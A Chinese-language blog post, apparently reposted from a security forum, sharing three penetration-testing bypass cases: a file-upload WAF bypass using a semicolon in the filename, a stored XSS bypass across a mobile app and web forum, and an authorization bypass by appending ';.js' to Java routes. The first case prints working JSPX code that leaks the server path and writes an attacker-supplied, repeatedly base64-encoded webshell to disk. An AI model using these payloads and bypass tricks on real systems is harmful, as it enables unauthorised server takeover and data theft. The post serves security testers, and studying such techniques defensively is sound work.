三个bypass案例分享

首发:土司论坛

案例1 文件上传

waf bypass内容校验+后缀校验
已具备条件:
上传处可上传任意类型的文件,但是平台存在waf,直接上传会被拦截

bypass后缀校验

利用原理:利用服务器解析rfc和waf解析rfc的差异性进行bypass。
waf解析的rfc格式为获取所有filename字段内容
因此利用;分割符号使服务器的rfc解析获取到的为jspx 而waf获取的为.jspx;即可绕过
因为服务器组件解析获取到;时会停止解析后面的内容
同理以前过某服的waf 也是同样的这个原理
格式:

filename=1.jsp
z
c

如下
正常传一个jpg
image.png
改为后缀为jsp 直接被拦
image.png
双写filename 先将filename="1.txt"放在后面看看waf是怎样获取格式的 发觉被拦截

放在前面 且删除双引号
也是被拦截

尝试将其均改为txt 可进行上传
因此猜测 waf是直接获取的所有的filename字段,然后取后缀是否为jsp或者jspx即 webshell的后缀,且跟双引号无关

因此猜测利用jspx;这种方式时waf取的后缀为jspx;
进行尝试 与猜测中相同 直接bypass后缀校验


内容绕过:
这个案例倒不是我写的了 之前在先知里面看到的一种手法,这里也是利用其进行绕掉了
上传jspx
然后访问获取绝对路径,这里的test.jsp改为服务器已经存在的

1.jspx

<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:scriptlet>
        String path = application.getRealPath("test.jsp");
        out.println(path);
    </hi:scriptlet>
</hi>

获取到绝对路径后 在利用 上传上去后 如test.jspx?x=6base64编码的webshell 根据waf强度自己改多少次base64
下面这个写马

<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:directive.page import="java.util.Base64,java.io.*"/>
    <hi:scriptlet>
        File file = new File("绝对路径+webshell的名字");
        FileWriter fileOut = new FileWriter(file);
        Base64.Decoder base64 = Base64.getDecoder();
        byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8")))))));
        try {
            fileOut.write(new String(str, "utf-8"));
            out.println("写入成功");
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (fileOut != null) {
                    fileOut.close();
                }
        } catch (Exception e) {
                e.printStackTrace();
            }
        }
    </hi:scriptlet>
</hi>

最后也是成功写入,成功获取webshell

案例2 存储xss bypass

apk+论坛联动+unicode编码未禁用导致存储xss bypass

产生原理:
1.app中过滤禁用了事件属性,但是没禁用标签
2.手机apk的数据会同步到web网站数据中
3.web网站中 实体编码了标签,但是没禁用事件属性,如onerror等事件属性,且实体unicode编码未禁用 进而组合可进行绕过

具体如下:
①手机app发一个帖子具有

②web网站中
找到刚才同步过去的帖子点击进行编辑

编辑输入实体编码 如下

然后点击发布即可 弹弹弹 弹走鱼尾纹

案例3 权限校验绕过

;符号绕过鉴权

原理:
requesturi+endswith进行鉴权判断,进而导致权限被绕过
由于requesturi获取路由会把所有的路由均取进来因此可能会导致绕过

具体案例:
找了一圈有图的,找了个审计的 这个是审计出的,也有存黑盒绕过出了的 但是因为图片缺少的原因 所以还是采用这个给大家分享

分享这个案例的原因是因为
结合这个案例
我们在对java语言项目做渗透测试的时候
有时候可以考虑在.do或者.action 或者.jsp后面添加;.js或者;.css这种路径 说不定会产生不一样的惊喜
当然啦 …/…/+js路由这种手法和//这两种也可以进行测试 也有可能遇到不一样的惊喜

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值